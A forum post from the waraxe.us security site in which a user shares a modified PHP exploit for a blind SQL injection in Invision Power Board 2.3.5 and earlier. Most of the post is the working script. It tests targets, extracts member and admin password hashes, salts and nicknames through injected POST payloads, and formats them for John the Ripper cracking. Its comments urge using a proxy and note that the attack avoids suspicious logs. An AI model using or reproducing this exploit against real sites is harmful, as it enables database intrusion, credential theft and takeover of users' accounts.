Waraxe IT Security Portal
Login or Register
November 23, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 88
Members: 0
Total: 88
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Invision Power Board -> John The Ripper support
Post new topicReply to topic View previous topic :: View next topic
John The Ripper support
PostPosted: Fri Sep 25, 2009 10:05 pm Reply with quote
r3v_0
Beginner
Beginner
Joined: Sep 26, 2009
Posts: 2




Hey guys, first off I'd like to say what a great site! been a waraxe follower for a while now and decided to finally join.
I have used the IPB < 2.3.5 exploit recently, and was annoyed by having to turn the salt into hex for use in JTR, so taking the modification from k40t1x to Waraxe's awesome script, made it JTR friendly. Hope its of use to someone.

-r3v

Code:

<?php
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB <= 2.3.5 sql injection exploit
// Version 1.2
// written by Janek Vind "waraxe"
// modified by k40t1x
// JTR friendly mod by r3v_0
// Estonia, Tartu
// http://www.waraxe.us/
// 24. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. can work with multiple ID-s
// 6. log format compatible with JTR
// 7. Get extra infos (email and nicknames) + start and end_index through cli
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
global $argv;
$url = 'http://www.website.com/';
$id_start = 1;// starting user ID, default value "1" is admin's ID
$id_end = 1;// ending user ID
$prefix = 'ibf_';// IPB table prefix, default is "ibf_"
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = 'directory/' . $id_start. "-" . $id_end . '.txt';// Log file

//======================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
//=====================================================================
///////////////////////////////////////////////////////////////////////
if(!extension_loaded('curl'))
{
if(!dl('php_curl.dll'))
{
die("Curl extension not loaded!\n Fatal exit ...\n");
}
else
{
echo "Curl loading success\n";
}
}
//=====================================================================
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
if(!isset($_REQUEST['wtf-is-cli']))
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Warning!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "Still, you can try to run it from webserver.<br />\n";
echo "Just press the button below and prepare for long waiting<br />\n";
echo "And learn to use php CLI next time, please ...<br />\n";
echo "<form method=\"get\">\n";
echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
echo "</form>\n";
echo "</center></body></html>\n";
exit;
}
else
{
// Let's try to maximize our chances without CLI
@set_time_limit(0);
}
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("# Target: $url");

for($i = $id_start; $i <= $id_end; $i ++)
{
echo "Testing ID $i\n";
if(!test_target_id($i))
{
echo "ID $i not valid, passing ...\n";
continue;
}
echo "ID $i validated\n";


$nick_length = get_nicklength($i);
//$email_length = get_emaillength($i);
$nick = trim(get_nick($i,$nick_length));
$hash = get_hash($i);
$salt = get_salt($i);
$salthash = get_salt_hash($salt);
//$email = trim(get_email($i,$email_length));
$line = "$i:$nick:$hash:$salt:$email"; //for PasswordsPro
$line = "$nick:\$IPB2$$salthash$$hash"; //for JTR

add_line($line);

xecho("\n------------------------------------------\n");
xecho("User ID: $i\n");
xecho("Nicklength: $nick_length\n");
xecho("Nick: $nick\n");
xecho("Hash: $hash\n");
xecho("salt hex: $salthash\n");
xecho("Salt: $salt\n");
xecho("JTR string: $nick:\$IPB2$$salthash$$hash\n");
xecho("Email: $email");
xecho("\n------------------------------------------\n");
}

add_line("------------------------------------------");

xecho("\nQuestions and feedback - http://www.waraxe.us/ \n");
die("See ya! :) \n");
//////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////
function test_target_url()
{
global $url;

$post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
$buff = trim(make_post($url, $post, '', $url));

if($buff === 'notfound')
{
die('Target is patched? Exiting ...');
}

if($buff !== 'found')
{
die('Invalid response, target URL not valid? Exiting ...');
}
}
//////////////////////////////////////////////////////////////////////
function test_target_id($id)
{
global $url, $prefix;

$post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32';

return test_condition($post);
}
///////////////////////////////////////////////////////////////////////
function get_salt($id)
{
$len = 5;
$out = '';

xecho("Finding salt ...\n");

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_saltchar($i, $id);
# xecho("Got pos $i --> $ch\n");
$out .= "$ch";
# xecho("Current salt: $out \n");
}

xecho("\nFinal salt for ID $id: $out\n\n");

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos, $id)
{
global $prefix;

$char = '';
$min = 32;
$max = 128;
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
$curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

# xecho("Current test: $curr-$max-$min\n");
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash($id)
{
$len = 32;
$out = '';

xecho("Finding hash ...\n");

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($i, $id);
# xecho("Got pos $i --> $ch\n");
$out .= "$ch";
# xecho("Current hash: $out \n");
}

xecho("\nFinal hash for ID $id: $out\n\n");

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos, $id)
{
global $prefix;

$char = '';
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))";

// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);

if($letter)
{
$min = 97;
$max = 102;
// xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
// xecho("Char to find is [0-9]\n");
}

$curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

# xecho("Current test: $curr-$max-$min\n");
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function get_email($id,$len)
{
// $len = 20;
$out = '';

xecho("Finding Email ...\n");

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_emailchar($i, $id);
# xecho("Got pos $i --> $ch\n");
$out .= "$ch";
# xecho("Current email: $out \n");
}

xecho("\nFinal Email for ID $id: $out\n\n");

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_emailchar($pos, $id)
{
global $prefix;

$char = '';
$min = 32;
$max = 128;
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_email,$pos,1))";
$curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

# xecho("Current test: $curr-$max-$min\n");
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function get_nick($id,$len)
{
$out = '';

xecho("Finding Nickname ...\n");

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_nickchar($i, $id);
# xecho("Got pos $i --> $ch\n");
$out .= "$ch";
# xecho("Current email: $out \n");
}

xecho("\nFinal Nick for ID $id: $out\n\n");

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_nickchar($pos, $id)
{
global $prefix;

$char = '';
$min = 32;
$max = 128;
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(name,$pos,1))";
$curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

# xecho("Current test: $curr-$max-$min\n");
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function get_nicklength($id)
{
$len = 2;
$out = '';

xecho("Finding Nickname length ...\n");

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_nicklengthchar($i, $id);
# xecho("Got pos $i --> $ch\n");
$out .= "$ch";
# xecho("Current email: $out \n");
}

xecho("\nFinal Nicklength for ID $id: $out\n\n");

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_nicklengthchar($pos, $id)
{
global $prefix;

$char = '';
$min = 32;
$max = 128;
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(length(name),$pos,1))";
$curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

# xecho("Current test: $curr-$max-$min\n");
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function get_emaillength($id)
{
$len = 2;
$out = '';

xecho("Finding Email length ...\n");

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_emaillengthchar($i, $id);
# xecho("Got pos $i --> $ch\n");
$out .= "$ch";
# xecho("Current email: $out \n");
}

xecho("\nFinal Email length for ID $id: $out\n\n");

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_emaillengthchar($pos, $id)
{
global $prefix;

$char = '';
$min = 32;
$max = 128;
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(length(email),$pos,1))"; $curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

# xecho("Current test: $curr-$max-$min\n");
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url;

$bret = false;
$maxtry = 10;
$try = 1;

$pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
$post = sprintf($pattern, $p);

while(1)
{
$buff = trim(make_post($url, $post, '', $url));

if($buff === 'found')
{
$bret = true;
break;
}
elseif($buff === 'notfound')
{
break;
}
elseif(strpos($buff, '<title>IPS Driver Error</title>') !== false)
{
die("Sql error! Wrong prefix?\nExiting ... ");
}
else
{
xecho("test_condition() - try $try - invalid return value ...\n");
$try ++;
if($try > $maxtry)
{
die("Too many tries - exiting ...\n");
}
else
{
xecho("Trying again - try $try ...\n");
}
}
}

return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');

if(!empty($GLOBALS['proxy_ip_port']))
{
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);

if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
}
}

if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}

if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}

if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}

$fc = curl_exec($ch);
curl_close($ch);

return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
global $outfile;

$line .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);

}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
if($GLOBALS['cli'])
{
echo "$line";
}
else
{
$line = nl2br(htmlspecialchars($line));
echo "$line";
}
}
//////////////////////////////////////////////////////////////////////
function get_salt_hash($salt) {
return chunk_split(bin2hex($salt), 2, "");
}

function binary2hex($salt) {
$salt = str_replace(" ", "", $salt);
$text_array = explode("\r\n", chunk_split($salt, 8));
$count = count($text_array) -1;
for ($n = 0; $n < $count ; $n++) {
$newstring .= str_pad(base_convert($text_array[$n], 2, 16), 2, "0", STR_PAD_LEFT);
}
$newstring = chunk_split($newstring, 2, "");
return $newstring;
}




?>
]
View user's profile Send private message
John The Ripper support
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.045 Seconds